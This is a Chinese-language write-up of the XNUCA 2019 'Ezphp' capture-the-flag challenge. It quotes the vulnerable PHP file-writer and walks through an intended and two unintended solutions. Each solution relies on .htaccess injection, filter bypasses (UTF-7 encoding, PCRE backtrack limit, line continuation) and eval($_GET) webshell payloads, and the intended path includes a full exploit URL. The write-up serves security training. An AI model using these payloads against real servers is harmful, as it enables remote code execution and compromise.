0x00 知識點
預期解中知識點:
htaccess生效
如果嘗試上傳htaccess文件會發現出現響應500的問題,因為文件尾有Just one chance 這里采用# \的方式將換行符轉義成普通字符,就可以用#來注釋單行了。
利用文件包含
代碼中有一處include_once("fl3g.php");,php的配置選項中有include_path可以用來設置include的路徑。如果tmp目錄下有fl3g.php,在可以通過將include_path設置為tmp的方式來完成文件包含。
指定目錄寫文件
如何在指定目錄寫指定文件名的文件呢?php的配置選項中有error_log可以滿足這一點。error_log可以將php運行報錯的記錄寫到指定文件中。
如何觸發報錯呢?這就是為什么代碼中寫了一處不存在的fl3g.php的原因。我們可以將include_path的內容設置成payload的內容,這時訪問頁面,頁面嘗試將payload作為一個路徑去訪問時就會因為找不到fl3g.php而報錯,而如果fl3g.php存在,則會因為include_path默認先訪問web目錄而不會報錯。
php_value include_path "xxx"
php_value error_reporting 32767
php_value error_log /tmp/fl3g.php
php_flag zend.multibyte 1結合php_value zend.script_encoding "UTF-7"繞過尖括號<過濾
寫入utf-7編碼的shellcode可以繞過<?的過濾
+ADw?php phpinfo()+ADs +AF8AXw-halt+AF8-compiler()+ADs
需要在.htaccess中配置解析的編碼:
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"
綜上:
最后生成的.htaccess是這樣的
php_value include_path "/tmp"
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
# \
Just one chance
非預期解1知識點
設置pcre的一些選項可以導致文件名判斷失效,從而直接寫入fl3g.php
php_value pcre.backtrack_limit 0
php_value pcre.jit 0
if(preg_match("/[^a-z.]/", $filename) == 1) 而不是 if(preg_match("/[^a-z.]/", $filename) !== 0), 因此可以通過 php_value 設置正則回朔次數來使正則匹配的結果返回為 false 而不是 0 或 1, 默認的回朔次數比較大, 可以設成 0, 那么當超過此次數以后將返回 false
filename即可通過偽協議繞過前面stristr的判斷實現Getshell
非預期解2知識點
php_value auto_prepend_file ".htaccess"
#<?PHP eval($_GET[a]);?>\
因為后面content會拼接無意義字符串, 因此采用.htaccess的單行注釋繞過 # \,這里反斜杠本來就有拼接上下兩行的功能,因此這里本來就可以直接使用\來連接被過濾掉的關鍵字來寫入.htaccess
0x01 解題
打開題目給了我們源碼:
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
include_once("fl3g.php");
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nJust one chance");
?>
分析源碼:
首先刪除當前目錄下非index.php的文件
然后include(‘fl3g.php’),之后獲取filename和content並寫入文件中。其中對filename和content都有過濾。
filename若匹配到除了a-z和單引號.以外的其它字符,則觸發waf,
文件內容結尾被加上了一行
功能很簡單:
一個寫文件的功能且只能寫文件名為[a-z.]* 的文件,且文件內容存在黑名單過濾,並且結尾被加上了一行,這就導致我們無法直接寫入.htaccess里面auto_prepend_file等php_value。
結合上面:
預期解1
https://www.anquanke.com/post/id/185377#h3-6
Step1 寫入.htaccess error_log相關的配置
php_value include_path "/tmp/xx/+ADw?php die(eval($_GET[2]))+ADs +AF8AXw-halt+AF8-compiler()+ADs"
php_value error_reporting 32767
php_value error_log /tmp/fl3g.php
# \
http://65e4f7f3-b20b-4d9e-9de1-a59e81fd43b4.node3.buuoj.cn/index.php?filename=.htaccess&content=php_value%20error_log%20/tmp/fl3g.php%0d%0aphp_value%20error_reporting%2032767%0d%0aphp_value%20include_path%20%22+ADw?php%20eval($_GET[1])+ADs%20+AF8AXw-halt+AF8-compiler()+ADs%22%0d%0a#%20\
Step2 訪問index.php留下error_log
Step3 寫入.htaccess新的配置
php_value include_path "/tmp"
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
# \
index.php?filename=.htaccess&content=php_value include_path "/tmp"%0d%0aphp_value zend.multibyte 1%0d%0aphp_value zend.script_encoding "UTF-7"%0d%0a# \
Step4 再訪問一次index.php?1=evilcode即可getshell.
非預期解1:
php_value pcre.backtrack_limit 0
php_value auto_append_file ".htaccess"
php_value pcre.jit 0
#aa<?php eval($_GET['a']);?>\
令filename為:
filename=php://filter/write=convert.base64-decode/resource=.htaccess
這樣content就能繞過stristr,一般這種基於字符的過濾都可以用編碼進行繞過,這樣就能getshell了
非預期解2
因為后面content會拼接無意義字符串, 因此采用.htaccess的單行注釋繞過 # \,這里反斜杠本來就有拼接上下兩行的功能,因此這里本來就可以直接使用\來連接被過濾掉的關鍵字來寫入.htaccess,
php_value auto_prepend_fi\
le ".htaccess"
參考鏈接:
https://github.com/NeSE-Team/OurChallenges/tree/master/XNUCA2019Qualifier/Web/Ezphp
https://www.cnblogs.com/tr1ple/p/11439994.html